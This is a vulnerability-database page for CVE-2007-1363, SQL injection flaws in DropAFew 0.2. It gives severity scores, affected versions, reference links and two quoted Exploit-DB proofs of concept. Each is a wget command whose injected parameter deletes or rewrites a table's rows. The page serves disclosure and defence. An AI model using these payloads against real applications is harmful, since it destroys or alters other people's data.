CVE-2007-1363
published 2007-04-11CVE-2007-1363: Multiple SQL injection vulnerabilities in DropAFew before 0.2.1 allow remote attackers to execute arbitrary SQL commands via the (1) id parameter in the delete…
PriorityP339high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
1.07%
60.6th percentile
Multiple SQL injection vulnerabilities in DropAFew before 0.2.1 allow remote attackers to execute arbitrary SQL commands via the (1) id parameter in the delete action in (a) search.php or (b) search-pda.php, or the (2) calories parameter in a save action in editlogcal.php.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| dropafew | dropafew | <= 0.2 | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
DropAFew 0.2 - 'search.php?delete Action id' SQL Injection
exploitdb·2007-04-10
CVE-2007-1363 DropAFew 0.2 - 'search.php?delete Action id' SQL Injection
DropAFew 0.2 - 'search.php?delete Action id' SQL Injection
---
source: https://www.securityfocus.com/bid/23400/info
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
These issues affect DropAFew 0.2; prior versions may also be affected.
# delete foodfacts table
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php
Exploit-DB
DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection
exploitdb·2007-04-10
CVE-2007-1363 DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection
DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection
---
source: https://www.securityfocus.com/bid/23400/info
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
These issues affect DropAFew 0.2; prior versions may also be affected.
wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php
No writeups or analysis indexed.
http://secunia.com/advisories/24861http://www.cynops.de/advisories/CVE-2007-1363.txthttp://www.dropafew.com/sphpblog/comments.php?y=07&m=04&entry=entry070403-224437http://www.securityfocus.com/bid/23400https://exchange.xforce.ibmcloud.com/vulnerabilities/33560http://secunia.com/advisories/24861http://www.cynops.de/advisories/CVE-2007-1363.txthttp://www.dropafew.com/sphpblog/comments.php?y=07&m=04&entry=entry070403-224437http://www.securityfocus.com/bid/23400https://exchange.xforce.ibmcloud.com/vulnerabilities/33560
2007-04-11
Published